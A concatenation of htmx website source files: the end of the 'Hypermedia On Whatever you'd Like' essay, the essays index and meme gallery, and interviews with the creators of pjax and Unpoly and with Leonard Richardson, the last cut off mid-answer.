You can now make your server-side language (and framework) choice based on other considerations: technical, aesthetic or
otherwise:

* Perhaps you are working in AI and want to use a Lisp variant for your project
* Perhaps you are working in big data and want to use Python
* Perhaps you know Django really well and love the batteries-included approach it takes
* Perhaps you prefer Flask and the stripped-down approach it takes
* Perhaps you like the raw, close-to-the-HTML feel of PHP 
* Perhaps you have an existing Java codebase that needs some sprucing up
* Perhaps you are learning Cobol, [and want to use htmx to make a nice front end for it](https://twitter.com/htmx_org/status/1656381761188954113).
* Perhaps you just really like Rust, Ocaml, Kotlin, Haskell, .NET, Clojure, Ada, ColdFusion, Ruby... whatever!

These are all perfectly reasonable technical, philosophical and aesthetic perspectives.

And, by adopting hypermedia as your primary front-end technology, you pursue any of these goals without a bicameral 
code-base. Hypermedia doesn't care what you use to produce it: you can use hypermedia on whatever you'd like.

## An Open Web for Everyone

And when we say "whatever", we really mean it.

Here is a screenshot of the [htmx discord](/discord)'s HOWL subsection recently.  Note that these are just the channels
that happen to have active traffic, there are many more.

<div style="text-align: center; padding: 16px">
<img src="/img/howl-channels.png" alt="Django, alpine, bash, clojure, cobol,
  deno, dotnet, go, java, node, ocaml, php, ruby, rust -- all active.">
</div>

You can see we have ongoing conversations in a bunch of different programming languages and frameworks: Java, Go, .NET, 
Rust, Clojure, PHP, Ruby, Python, Ocaml.  We even have some folks talking about using htmx with Bash and Cobol!

This is exactly the future that we want to see: a rich and vibrant Web in which _every_ back-end language and framework
can play as an equal & interesting alternative. Each language and framework has their own unique strengths & cultures and
each can contribute to the magical [hypermedia system](https://hypermedia.systems) that is The Web.

## But, Is it An *Anti*-JavaScript Resistance?

Before we finish this essay, we do want to address the idea that the resistance to JavaScript *everywhere* is necessarily
*Anti*-JavaScript.

Now, admittedly, we have laughed at our fair share of [jokes about JavaScript](/img/js-the-good-parts.jpeg), and we have 
gone so far as to create an alternative scripting language for the web, [hyperscript](https://hyperscript.org).  

So it might seem like we should be card-carrying anti-javascriptites.  

But, to the contrary, we are deeply appreciative of JavaScript.

After all, both htmx and hyperscript are _built in JavaScript_.  We couldn't have created these libraries without
JavaScript, which, whatever else one might say, has the great virtue of [_being there_](https://en.wikipedia.org/wiki/Being_There).

And we even go so far as to _recommend using_ JavaScript for front-end scripting needs in a hypermedia-driven 
application, so long as you script in a [hypermedia-friendly](/essays/hypermedia-friendly-scripting/) way.

Further, we wouldn't steer someone away from using JavaScript (or TypeScript) on the _server side_ for a 
hypermedia-driven application, if that language is the best option for your team.  As we said earlier, JavaScript now 
has multiple excellent server-side runtimes and many excellent server-side libraries available.  

It might be the best option for you and your team, and there is no reason not to use it in that case.

Hypermedia On Whatever you'd Like means just that: whatever you'd like.

But JavaScript is not, and it should not be, the *only* server-side option for your team.

## Turning The Ship Around

With the resurgence of interest in (and improvements of) hypermedia, an open and diverse future for The Web is now a
real possibility, if not an emerging reality.

The Web was designed to be an open, polyglot & participative hypermedia system.  

And the ship _hasn't sailed_ on that dream, at least not yet!  

We can keep that dream alive by re-learning and re-embracing the foundational technology of the web: hypermedia.

> I hate that the htmx community has devolved into builders helping each other without regard for likes, engaging
> those who don't follow the hype, expanding sound bytes into nuance. It may not score cheap social media points, but
> it's healthy. The web used to be worse than this.
>
> [@teej_dv](https://twitter.com/teej_dv/status/1655668643840098304)

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/_index.md

+++
title = "Essays"
insert_anchor_links = "heading"
sort_by = "date"
generate_feeds = true
template = "essay_index.html"
page_template = "essay.html"
+++

### Hypermedia and REST
* [HATEOAS](@/essays/hateoas.md)
* [How Did REST Come To Mean The Opposite of REST?](@/essays/how-did-rest-come-to-mean-the-opposite-of-rest.md)
* [Two Approaches To Decoupling](@/essays/two-approaches-to-decoupling.md)
* [Hypermedia Clients](@/essays/hypermedia-clients.md)
* [HATEOAS Is For Humans](https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html)
* [Taking HTML Seriously](https://intercoolerjs.org/2020/01/14/taking-html-seriously)
* [The #ViewSource Affordance](@/essays/right-click-view-source.md)

### Why Hypermedia? Why Multi-Page Applications?
* [Hypermedia On Whatever you'd Like (HOWL)](@/essays/hypermedia-on-whatever-youd-like.md)
* [A Response To "Have SPAs Ruined The Web"](@/essays/a-response-to-rich-harris.md)
* [When To Use Hypermedia?](@/essays/when-to-use-hypermedia.md)
* [The API Churn/Security Trade-off](https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html)
* [Does Hypermedia Scale?](@/essays/does-hypermedia-scale.md)

### Real World htmx Experiences
* [A Real World React to htmx Port](@/essays/a-real-world-react-to-htmx-port.md)
* [Another Real World React to htmx Port](@/essays/another-real-world-react-to-htmx-port.md)
* [A Real World wasm to htmx Port](@/essays/a-real-world-wasm-to-htmx-port.md)
* [Next.js to htmx — A Real World Example](@/essays/a-real-world-nextjs-to-htmx-port.md)
* [You Can't Build Interactive Web Apps Except as Single Page Applications... And Other Myths](@/essays/you-cant.md)

### On The Other Hand...
* [htmx sucks](@/essays/htmx-sucks.md)
* [Why Gumroad Didn't Choose htmx](@/essays/why-gumroad-didnt-choose-htmx.md)
* [A Modest Critique of htmx](https://chrisdone.com/posts/htmx-critique/) [[Response]](https://news.ycombinator.com/item?id=41782080)
* [I tried HTMX, then ditched it](https://ajmoon.com/posts/mesh-i-tried-htmx-then-ditched-it) 
* [Alternatives](@/essays/alternatives.md)

### Building Hypermedia Applications
* [Hypermedia-Driven Applications (HDAs)](@/essays/hypermedia-driven-applications.md)
* [Web Security Basics (with htmx)](@/essays/web-security-basics-with-htmx.md)
* [Hypermedia Friendly Scripting](@/essays/hypermedia-friendly-scripting.md)
* [10 Tips For Building SSR/HDA applications](@/essays/10-tips-for-SSR-HDA-apps.md)
* [Why I Tend Not To Use Content Negotiation](@/essays/why-tend-not-to-use-content-negotiation.md)
* [Template Fragments](@/essays/template-fragments.md)
* [Web Components Work Great with htmx](@/essays/webcomponents-work-great.md)
* [View Transitions](@/essays/view-transitions.md)
* [Model/View/Controller](@/essays/mvc.md)
* [Is Rendering JSON More Efficient Than Rendering HTML?](https://github.com/1cg/html-json-speed-comparison)
* [Is JSON Smaller Than HTML?](https://github.com/1cg/html-json-size-comparison)

### Complexity Very, Very Bad
* [The Grug Brained Developer](https://grugbrain.dev)
* [Codin' Dirty](@/essays/codin-dirty.md)
* [Locality of Behavior (LoB)](@/essays/locality-of-behaviour.md)
* [Complexity Budget](@/essays/complexity-budget.md)
* [Why htmx Does Not Have a Build Step](@/essays/no-build-step.md)
* [Is htmx Just Another JavaScript Framework?](@/essays/is-htmx-another-javascript-framework.md)
* [htmx Implementation Deep Dive (Video)](https://www.youtube.com/watch?v=javGxN-h9VQ)
* [Vendoring](@/essays/vendoring.md)

### Hypermedia Research

* [A File Structure For The Complex, The Changing and the Indeterminate (Ted Nelson, 1965)](https://dl.acm.org/doi/pdf/10.1145/800197.806036)
* [The Mother Of All Demos (Doug Englebart, 1968)](https://www.youtube.com/watch?v=B6rKUf9DWRI)
* [The First Web Page (1991)](http://info.cern.ch/hypertext/WWW/TheProject.html)
* [Architectural Styles and the Design of Network-based Software Architectures (Roy Fielding, 2000)](https://ics.uci.edu/~fielding/pubs/dissertation/top.htm)
* [State of the Art Review on Hypermedia Issues and Applications (2006)](https://paul.luon.net/hypermedia/index.html) [[archive]](https://web.archive.org/web/20240428215142/https://paul.luon.net/hypermedia/index.html)
* [How Primer has changed the way we write JavaScript for the better at Facebook (Makinde Adeagbo and Tom Occhino, 2010)](https://www.facebook.com/watch/?v=596368660334) [[archive.org mirror]](https://archive.org/details/facebook-front-end-tech-talk-8-5-2010-primerjs) [[youtube mirror]](https://youtu.be/BZmfCjtv6cM)
* [Hypermedia Controls: Feral to Formal (ACM HT'24)](https://dl.acm.org/doi/pdf/10.1145/3648188.3675127)
* [Preserving REST-ful Visibility Of Rich Web Applications With Generalized Hypermedia Controls (ACM SIGWEB Newsletter, Autumn'24)](https://hypermedia.cs.montana.edu/papers/preserving-restful.pdf)

### Interviews

* [Henning Koch](@/essays/interviews/henning_koch.md), creator of [Unpoly](https://unpoly.com/)
* [Makinde Adeagbo](@/essays/interviews/makinde_adeagbo.md), creator of [Primer](https://www.youtube.com/watch?v=wHlyLEPtL9o)
* [Chris Wanstrath aka @defunkt](@/essays/interviews/chris_wanstrath.md), creator of [pjax](https://github.com/defunkt/jquery-pjax)
* [Mike Amundsen](@/essays/interviews/mike_amundsen.md), author of [RESTful Web APIs](http://restfulwebapis.com/)
* [Leonard Richardson](@/essays/interviews/leonard_richardson.md), creator of the [RMM](https://en.wikipedia.org/wiki/Richardson_Maturity_Model)

## Banners
<div style="text-align: center;margin:32px">
  <img width="90%" loading="lazy" src="/img/createdwith.jpeg"
    alt="Site created with htmx, The Right Way.">
</div>

## Memes

<style>
  .memes {
    text-align: center;
  }
  .memes img {
     min-height: 200px;
     max-width: 100%;
     margin: 32px;
   }
</style>
<div class="memes">
<img loading="lazy" src="/img/memes/original.png"
  alt="2004 architecture: router, controller, model and view on server side,
    browser, DOM and JS on client. 2019 architecture: browser, DOM, js, model,
    view, controller, virtual DOM, server-side JS runtime, router, model view
    and controller again, another virtual dom, another model-view-controller
    for the JSON API... discontent wojak. and 2021 architecture, same as 200 but
    with htmx and smug wojak.">
<img loading="lazy" src="/img/memes/20yearold.png"
  alt='crying wojak with smiling mask says "lol you are going to use twenty year
    old technology to build modern websites lol maybe for a toy website good
    luck w/ that lmao"
    django, php, flask and rails say: "Yes."
    lisp says: "no, sixty years old."'>
<img loading="lazy" src="/img/memes/whowillwin.png"
  alt='Who Will Win? On the left corner: the champions Angular and React, with
    their respective Google and Facebook legions.
    On the right corner: a lunatic in montana and his internet friends
    "u guys should use hypermedia"'>
<img loading="lazy" src="/img/memes/uarealldoingitwrong.png"
  alt='Despair.com poster with Roy Fielding&apos;s face.
    "REST: You&apos;re doing it completely wrong."'>
<img loading="lazy" src="/img/memes/restapi.png"
  alt='"I&apos;m going to create a RESTful API..." happy roy
    "Using JSON..." distressed roy
    "here are my API docs" angery laser eyes roy'>
<img loading="lazy" src="/img/memes/justusehtml.png"
  alt="diagram explaining difference between 'hydration' which has 4 long stages
    and 'resumability' which is apparently one step.
    or just use HTML in one tiny step (loading the html)">
<img loading="lazy" src="/img/memes/istudiedhtml.png"
  alt="When You wrote class components I studied HTML.
    When you were converting classes to hooks I mastered the HTML.
    While you wasted time moving all your client-side logic to server components
    I cultivated inner HTML.
    And now that the browser won't hydrate your thick client JSON API you have
    the audacity to come to me for help?">
<img loading="lazy" src="/img/memes/htmlvsjson.png"
  alt='HTML says "I feel bad for you".
    JSON says "I don&apos;t think about you at all.'>
<img loading="lazy" src="/img/memes/dontknowwhatclientsideroutingis.png"
  alt="Roll Safe meme: Can't route client side if u don't know what client-side routing is.">
<img loading="lazy" src="/img/memes/nocap.png"
  alt="yo no cap u don't even need that for web dev fr. hypermedia straight bussin. mf deadass simple fr
    -- grug with broccoli hair">
<img loading="lazy" src="/img/memes/ie11enjoyer.png"
  alt='average "browsers should follow open standards" fan vs average IE11 enjoyer'>
<img loading="lazy" src="/img/memes/hydration.png"
  alt="How much water is in your body? Adult male 60%, adult female 55%, children 65%, infant 75%, React 100%">
<img loading="lazy" src="/img/memes/viewsource.png"
  alt='Gigachad: "I wonder how this works..." *clicks view source* "Oh, neat."'>
<img loading="lazy" src="/img/memes/javascripthistory.png"
  alt="Friends? Free time? Happiness? Nope, says the JavaScript History API">
<img loading="lazy" src="/img/memes/bellcurve.png"
  alt="Bell curve meme. Lower percentile: HTML + a backend.
    Median: ONE BILLION COMPONENTS highest percentile: HTML + a backend">
<img loading="lazy" src="/img/memes/drakearchitecture.png"
  alt="Disapproving Drake: web dev learning graph with a dozen branches.
    Pleased Drake: Learn the basics - HTML and CSS">
<img loading="lazy" src="/img/memes/bellcurve2.png"
  alt="Bell curve meme. Low: HTML is fine. Median: we have to use react and
    react router and graphql and redux and... high: htmx is fine">
<img loading="lazy" src="/img/memes/dbtohtml.png"
  alt="DB to JSON to HTML -- or you can just do DB to HTML...">
<img loading="lazy" src="/img/memes/normal.png"
  alt="Me: Why can't you just be normal? JavaScript: *screams*">
<img loading="lazy" src="/img/memes/feelbad.png"
  alt="You are using the term REST bad and you should feel bad -- zoidberg">
<img loading="lazy" src="/img/memes/drakememes.png"
  alt="Disapproving Drake: well reasoned, detailed and insightful content
    explaining the strengths and weaknesses of htmx vs other perfectly valid
    potential approaches to front end web development">
<img loading="lazy" src="/img/memes/fullstack.jpg"
  alt="htmx to backend dev: 'Look at me. You're fullstack now.'">
<img loading="lazy" src="/img/memes/frontenddevs.png"
  alt="front end devs thinkin' everyone is going to be using JavaScript on the
    backend soon:   htmx:">
<img loading="lazy" src="/img/memes/htmxanddjango.png"
  alt="django is a monkey sitting on htmx's back and it's refusing something labeled
   'all that complicated js noise">
<img loading="lazy" src="/img/memes/aye.png"
  alt='me, an old java dev: "I never thought I would die fighting side by side
    w/ dotnet developers"
    "what about side by side w/ someone who also hates JS frameworks?"
    "aye, I could do that"'>
<img loading="lazy" src="/img/memes/extinction.png"
  alt="still from an avengers movie? idk. javascript/node is thanos and java, ruby,
    lisp, python and php are fighting it, also haskell is dr strange i think which
    seems relevant">
</div>

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/chris_wanstrath.md

+++
title = "An interview with Chris Wanstrath aka @defunkt, Creator of pjax"
description = """\
  This article features an in-depth interview with Chris Wanstrath (defunkt), the co-founder of GitHub and creator of \
  pjax, where he discusses his journey from early web development to creating pjax, an innovative JavaScript library \
  that helped bridge the gap between traditional web navigation and dynamic content loading."""
date = 2025-01-27
updated = 2025-01-27
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

I'm very excited to be able to interview @defunkt, the author of [pjax](https://github.com/defunkt/jquery-pjax), an
early hypermedia-oriented javascript library that served as an inspiration for intercooler.js, which later became
htmx. He's done a few other things too, like co-founding GitHub, but in this interview I want to focus on pjax, how it
came to be, what influenced it and what it in turn influenced.

Thank you for agreeing to an interview @defunkt!

Q: To begin with, why don't you give the readers a bit of your background both professionally & technically:

> I think I can sum up most of my technical background in two quick anecdotes:
> 
> 1. For "show and tell" in 6th grade, I brought in a printout of a web page I had made - including its source code. I
>    like to imagine that everyone was impressed.
> 
> 2. Right after 7th grade, a bunch of rowdy high schoolers took me down to the local university during a Linux
>    installfest and put Red Hat on my family's old PC. That became my main computer for all of high school.
> 
> So pretty much from the start I was a web-slinging, UNIX-loving hippie.
> 
> In terms of coding, I started on QBasic using the IBM PC running OS/2 in my grandparents' basement. Then I got deep into
> MUDs (and MUSHes and MUXes and MOOs...) which were written in C and usually included their own custom scripting
> language. Writing C was "hardcoding", writing scripts was "softcoding". I had no idea what I was doing in C, but I
> really liked the softcoding aspect.
> 
> The same rowdy high schoolers who introduced me to Linux gave me the O'Reilly camel book and told me to learn Perl. I
> did not enjoy it. But they also showed me php3, and suddenly it all came together: HTML combined with MUD-like
> softcoding. I was hooked.
> 
> I tried other things like ASP 3.0 and Visual Basic, but ultimately PHP was my jam for all of high school. I loved making
> dynamic webpages, and I loved Linux servers. My friends and I had a comedy website in high school that shall remain
> nameless, and I wrote the whole mysql/php backend myself before blogging software was popular. It was so much fun.
> 
> My first year of college I switched to Gentoo and became fascinated with their package manager, which was written in
> Python. You could write real Linux tools with it, which was amazing, but at the time the web story felt weak.
> 
> I bought the huge Python O'Reilly book and was making my way through it when, randomly, I discovered Ruby on Rails. It
> hit me like a bolt of lightning and suddenly my PHP and Python days were over.
> 
> At the same time, Web 2.0 had just been coined and JavaScript was, like, "Hey, everyone. I've been here all along." So
> as I was learning Rails, I was also learning JavaScript. Rails had helpers to abstract the JS away, but I actually
> really liked the language (mostly) and wanted to learn it without relying on a framework or library.
> 
> The combination of administering my own Linux servers, writing backend code in Rails, and writing frontend code in
> JavaScript made me fall deeper in love with the web as a platform and exposed me to concepts like REST and HATEOAS.
> Which, as someone who had been writing HTML for over a decade, felt natural and made sense.
> 
> GitHub launched in 2008 powered by, surprise, Gentoo, Rails, and JavaScript. But due to GitHub's position as not just a
> Rails community, but a collection of programming communities, I quickly evolved into a massive polyglot.
> 
> I went back and learned Python, competing in a few programming competitions like Django Dash and attending (and
> speaking) at different PyCons. I learned Objective-C and made Mac (and later iPhone) apps. I learned Scheme and Lisp,
> eventually switching to Emacs from Vim and writing tons of Emacs Lisp. I went back and learned what all the sigils mean
> in Perl. Then Lua, Java, C++, C, even C# - I wanted to try everything.
> 
> And I'm still that way today. I've written projects in Go, Rust, Haskell, OCaml, F#, all sorts of Lisps (Chicken Scheme,
> Clojure, Racket, Gambit), and more. I've written a dozen programming languages, including a few that can actually do
> something. Right now I'm learning Zig.
> 
> But I always go back to the web. It's why I created the Atom text editor using web technologies, it's why Electron
> exists, and it's why I just cofounded the Ladybird Browser Initiative with Andreas Kling to develop the independent,
> open source Ladybird web browser.

Q: Can you give me the history of how pjax came to be?

> It all starts with XMLHttpRequest, of course. Ajax. When I was growing up, walking to school both ways uphill in the
> snow, the web was simple: you clicked on a link and a new web page loaded. Nothing fancy. It was a thing of beauty, and
> it was good.
> 
> Then folks started building email clients and all sorts of application-like programs in HTML using `<frames>` and
> friends. It was not very beautiful, and not very good, but there was something there.
> 
> Luckily, in the mid-2000s, Gmail and Ajax changed things. Hotmail had been around for a while, but Gmail was fast. By
> updating content without a full page load using XMLHttpRequest, you could make a webpage that felt like a desktop
> application without resorting to frames or other chicanery. And while other sites had used Ajax before Gmail, Gmail
> became so popular that it really put this technique on the map.
> 
> Soon Ajax, along with the ability to add rounded corners to web pages, ushered in the era known as Web 2.0. By 2010,
> more and more web developers were pushing more and more of their code into JavaScript and loading dynamic content with
> Ajax. There was just one problem: in the original, good model of the web, each page had a unique URL that you could use
> to load its content in any context. This is one of the innovations of the web. When using Ajax, however, the URL doesn't
> change. And even worse, it can't be changed - not the part that gets read by the server, anyway. The web was broken.
> 
> As is tradition, developers created hacks to work around this limitation. The era of the #! began, pioneered by
> Ajax-heavy sites like Facebook and Twitter. Instead of http://twitter.com/htmx_org, you'd
> see http://twitter.com/#!/htmx_org in your browser's URL bar when visiting someone's profile. The # was traditionally
> used for anchor tags, to link to a sub-section within a full web page, and could be modified by JavaScript. These
> ancient web 2.0 developers took advantage of #'s malleability and started using it to represent permanent content that
> could be updated inline, much like a real URL. The only problem was that your server code never saw the # part of a URL
> when serving a request, so now you needed to start changing your backend architecture to make everything work.
> 
> Oh, and it was all very buggy. That was a problem too.
> 
> As an HTTP purist, I detested the #!. But I didn't have a better way.
> 
> Time passed and lo, a solution appeared. One magical day, the #!s quietly disappeared from Facebook, replaced by good
> old fashioned URLs. Had they abandoned Web 2.0? No... they had found a better way.
> 
> The `history.pushState()` function, along with its sibling `history.replaceState()`, had been recently added to all
> major web browsers. Facebook quickly took advantage of this new API to update the full URL in your browser whenever
> changing content via Ajax, returning the web to its previous glory.
> 
> And so there it was: the Missing Link.
> 
> We had our solution, but now a new problem: GitHub was not an SPA, and I didn't want it to be one. By 2011 I had been
> writing JavaScript for six years - more than enough time to know that too much JS is a terrible thing. The original
> GitHub Issue Tracker was a Gmail-style web application built entirely in JS, circa 2009. It was an awful experience for
> me, GitHub developers, and, ultimately, our users.
> 
> That said, I still believed Ajax could dramatically speed up a web page's user interface and improve the overall
> experience. I just didn't want to do it by writing lots of, or any, JavaScript. I liked the simple request/response
> paradigm that the web was built on.
> 
> Thus, Pjax was born. It sped up GitHub's UI by loading new pages via Ajax instead of full page loads, correctly updating
> URLs while not requiring any JS beyond the Pjax library itself. Our developers could just tag a link with `[data-pjax]`
> and our backend application would then automatically render a page's content without any layout, quickly getting you
> just the data you need without asking the browser to reload any JS or CSS or HTML that didn't need to change. It also (
> mostly) worked with the back button, just like regular web pages, and it had a JS API if you did need to dip into the
> dark side and write something custom.
> 
> The first commit to Pjax was Feb 26, 2011 and it was released publicly in late March 2011, after we had been using it to
> power GitHub.com for some time.

Q: I recall it being a big deal in the rails community. Did the advent of turbolinks hurt adoption there?

> My goal wasn't really adoption of the library. If it was, I probably would have put in the work to decouple it from
> jQuery. At the time, I was deep in building GitHub and wasn't the best steward of my many existing open source projects.
> 
> What I wanted instead was adoption of the idea - I wanted people to know about `pushState()`, and I wanted people to
> know there were ways to build websites other than just doing everything by hand in JavaScript. Rendering pages in whole
> or in part on the server was still viable, and could be sped up using modern techniques.
> 
> Turbolinks being created and integrated into Rails was amazing to see, and not entirely unsurprising. I was a huge fan
> of Sam Stephenson's work even pre-GitHub, and we had very similiar ideas about HTTP and the web. Part of my thinking was
> influenced by him and the Rails community, and part of what drew me to the Rails community was the shared ideas around
> what's great about the web.
> 
> Besides being coupled to jQuery, pjax's approach was quite limited. It was a simple library. I knew that other people
> could take it further, and I'm glad they did.

Q: How much "theory" was there to pjax? Did you think much about hypermedia, REST, etc. when you were building it? (
I backed into the theory after I had built intercooler, curious how it went for you!)

> Not much. It started by appending `?pjax=1` to every request, but before release we switched it to send an `X-PJAX`
> header instead. Very fancy.
> 
> Early GitHub developer Rick Olson (@technoweenie), also from the Rails community, was the person who introduced me to
> HATEOAS and drove that philosophy in GitHub's API. So anything good about Pjax came from him and Josh Peek, another
> early Rails-er.
> 
> My focus was mostly on the user experience, the developer experience, and trying to stick to what made the web great.

- First commit: https://github.com/defunkt/jquery-pjax/commit/3efcc3c
- X-PJAX: https://github.com/defunkt/jquery-pjax/commit/4367ec9

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/henning_koch.md

+++
title = "An interview with Henning Koch, Creator of Unpoly"
description = """\
  In this interview with Henning Koch, creator of Unpoly, he discusses his journey from managing a Rails consultancy \
  to developing this hypermedia-oriented JavaScript library. Koch shares insights on progressive enhancement, the \
  challenges of Single Page Applications, and why hypermedia approaches often deliver better results for typical web \
  applications."""
date = 2022-06-13
updated = 2023-06-13
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

I'm very excited to be able to interview Henning Koch, the creator of [Unpoly](https://unpoly.com/),
a hypermedia-oriented javascript library that was created in parallel with intercooler.js.

Thank you for agreeing to an interview!

**Q**: To begin with, why don't you give the readers a bit of your background both professionally & technically:

> Sure! I'm currently head of development at [makandra](https://makandra.de/en), a Ruby on Rails consultancy I co-founded back in 2009, after many years of freelancing as a web developer. So my context is working on many different web apps concurrently, and maintaining those for a long time. On a given week we probably touch 10+ projects, for industries ranging from education to automotive to cybersecurity. Unpoly is an extraction from patterns that we saw repeating over and over in client projects.

**Q**: When I created intercooler.js a big part of it was my unwillingness to deal with the popular SPA libraries of the time
(Angular & ExtJS, for example).  Did Unpoly have a similar history?

> Our team actually went all-in on AngularJS for a while, in an effort to replace the mountains of jQuery spaghetti that we had before. When Google nuked AngularJS with their Angular 2 rewrite, we held a retrospective for that time and came up with mixed results. While we had built some apps that were a great fit for the SPA model, the majority of projects suffered from larger code bases, more dependencies, logic being split between client and server, lots of boilerplate API to move data from where we already have it (the server) to where we need it (the browser).
>
> That was when we gave progressive enhancement another shot, but this time provided some higher-level structure so apps would be relieved of making manual AJAX requests and messing around with individual DOM elements. Basically come up with an HTML6 fantasy spec asking: What if HTML6 was all about server-rendered apps? What features would be in that spec? That thought experiment is what led to Unpoly.

**Q**: Unpoly is a very "batteries included" library, with excellent support for progressive enhancement.  I know you are
a Rails developer too.  Did that influence your approach to Unpoly?

> Definitely! Like Rails, Unpoly ships with strong defaults for everything, and prefers unobtrusive convention over explicit configuration. E.g. if you want Unpoly to handle all your links and forms, you can set that up globally and not change your HTML at all.
>
> Some recent Rails mottos are "Compress the complexity of modern web apps" and "The one person framework". With my other responsibility at makandra being training young developers, that resonates with me a lot. I really care about maintaining a stack where a single person can be a full-stack developer and deliver good results consistently.
>
> Also, as a Rubyist, I have an excessive obsession with the ergonomics and aesthetics of code *as it is invoked*. I stress a lot over how a feature looks when it is used in client code. When a small idea takes a disproportionate amount of code, this is something I lose sleep over.

**Q**: Did you think much about hypermedia, REST, etc. when you were building Unpoly?  Do you find that stuff useful?  Interesting?

> I share some of your love for interactive documents that stream their UI together with their content. For me this began in the 1990s with character-based BBS UIs und WinHelp files, until the web eventually supplanted all of that.
>
> Today I'm not super philosophical about it, but I do believe that a hypermedia approach is a sweet spot where you get good UI fidelity with very little and mostly boring code. For the median app, hypermedia probably gives a better result than the SPA model. I file like there's this enormous disconnect between the theoretical ceiling of an SPA model and what most SPAs deliver. SPAs allow for optimistic UI (which is great!), but that's just more code than waiting for a JSON endpoint. So once you do any meaningful interaction on a spotty connection, many SPAs degrade to spinners and blank pages.

**Q**: What are the most important technical lessons you draw from unpoly?

> I learnt that browsers handle a *lot* of edge cases right, before you break it by adding JavaScript. Stuff like managing focus, concurrent input, flaky connections. It is not trivial to deliver that same level of correctness, for example, when you emulate a page transition in JavaScript. It takes a lot of code to address that. I always remember this when I see a tiny microlib that claims to re-implement React in 2000 bytes or something. You can't just code-golf away half your bundle size without trading away some correctness in the process.

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/_index.md

+++
render = false
+++

---

# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/interviews/leonard_richardson.md

+++
title = "An interview with Leonard Richardson"
description = """\
  In this interview, Leonard Richardson, creator of the Richardson Maturity Model for RESTful web services discusses \
  the history of REST, interoperability in APIs and his impression of newer approaches such as GraphQL."""
date = 2025-02-19
updated = 2025-02-19
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++

Leonard Richardson is a long time programmer and author and was the creator of what came to be termed the Richardson
Maturity
Model ([https://en.wikipedia.org/wiki/Richardson\_Maturity\_Model](https://en.wikipedia.org/wiki/Richardson_Maturity_Model)),
a system for classifying Web APIs in terms of their adherence to REST. Here, Web APIs mean *data APIs*, that is data
intended to be consumed by automated systems or code, rather than directly by a web client.

The RMM consists of four levels:

* Level 0 \- The Swamp of POX (Plain old XML)
* Level 1 \- The appropriate use of resource-based URLs
* Level 2 \- The appropriate use of HTTP Methods
* Level 3 \- Hypermedia Controls

A Web API became more mature as it adopted these technologies and conventions.

Leonard agreed to talk to me about the RMM and his experiences building Web software.

**Question**: Can you give us some background about yourself and how you came into web programming? Did/do you consider
yourself a hypermedia enthusiast?

> When I was in high school in the mid-1990s, I got very basic Internet access through BBSes. There were all these
amazing, arcane protocols you had to learn to get around: FTP, Gopher, Archie, NNTP, et cetera. And then just as I went
to college, the World Wide Web suddenly wiped out all of those domain-specific protocols. Within a couple of years we
were using the Web technologies–URI, HTTP and HTML–for everything.
>
> My formative years as a developer happened against the background of the incredible power of those three core
technologies. Everything was being built on top of the Web, and it basically worked and was a lot simpler than the old
way.
>
> So yes, I am a hypermedia enthusiast, but it took me a really long time to understand the distinct advantages that come
from the "hypermedia" part of the Web. And that came with an understanding of when those advantages are irrelevant or
undesirable from a business standpoint.

**Question**: Can you give us a brief history of early Web APIs? What was the origin story of the RMM?

> What we now call "web APIs" started as a reaction against SOAP, a technology from a time when corporate firewalls
allowed HTTP connections (necessary to get work done) but blocked most other traffic (games?). SOAP let you serialize a
procedure call into XML and invoke it over an HTTP connection, punching through the firewall. It was an extraordinarily
heavyweight solution, using the exact same tools–XML and HTTP–you'd need to make a good lightweight solution.
>
> Now that I'm an old fogey, I can look back on SOAP and see the previous generation of old fogeys trying to make the
1990s client-server paradigm work over the Internet. SOAP had a lot of mindshare for a while, but there were very few
publicly deployed SOAP services. When you deploy a service on the public Internet, people expect to connect to it from a
wide variety of programming languages and programming environments. SOAP wasn't cut out for that because it was so heavy
and demanded so much tooling to compensate for its heaviness.
>
> Instead, developers picked and chose their designs from the core web technologies. Thanks to the dot-com boom, those
technologies were understood by practicing developers and well supported by every major programming language.
>
> The RMM, as it's now called, was originally a heuristic I presented
in [a talk in 2008](https://www.crummy.com/writing/speaking/2008-QCon/act3.html). [The first part of the talk](https://www.crummy.com/writing/speaking/2008-QCon/act1.html)
goes over the early history I mentioned earlier,
and [the second part](https://www.crummy.com/writing/speaking/2008-QCon/act2.html) talks about my first experience
trying to sell hypermedia-based API design to an employer.
>
> I’d analyzed about a hundred web API designs for my book on REST and seen very strong groupings around the core web
technologies. You'd see a lot of APIs that "got" URLs but didn't "get" HTTP. But you'd never see one where it happened
the other way, an API that took advantage of the features of HTTP but didn't know what to do with URLs. If I had one
insight here, it's that the URL is the most fundamental web technology. HTTP is a set of rules for efficiently dealing
with URLs, and HTML (a.k.a. hypermedia) is a set of instructions for driving an HTTP client.

**Question**: In “How Did REST come to mean the opposite of REST?” I assert that the term REST has nearly inverted in
its meaning. In particular, I claim that most APIs stopped at “Level 2” of the RMM. Do you agree with these claims?

> Everyone understands URIs these days, and understanding HTTP is essential for performance reasons if nothing else. That
gets you to level 2, and yes, there we have stayed. That's what I was getting at
in [this interview from 2007](https://www.infoq.com/articles/richardson-ruby-restful-ws/), a year before I gave my
famous talk:
>
> The big question in my mind is whether architectures consciously designed with REST in mind will “win” over
architectures that are simple but only intermittently RESTful.
>
> You don't get a certificate signed by Roy Fielding for achieving level 3\. The reward for learning and applying the
lesson of hypermedia is *interoperability*. Your users get the ability to use your system in ways you didn't anticipate,
and they get to combine your system with their other systems.
>
> Interoperability is essential in a situation like the Web, where there are millions of server and client deployments,
and a dozen major server implementations. (There are now only two major client implementations, but that's its own sad
story.)
>
> For a long time I thought people just didn't get this and if I hammered on the technical advantages of hypermedia they'd
come around. But we've been stuck at level 2 for more than half the lifetime of the Web. It's become clear to me that
most situations aren't like the Web, and the advantages of hypermedia aren't relevant to most business models.

**Question**: Level 3 style hypermedia controls never really took off in Web APIs. Why do you think that is?

> I don't do this for everything, but I am going to blame this one on capitalism.
>
> Almost all actually deployed web APIs are under the complete control of one company. They have one server implementation
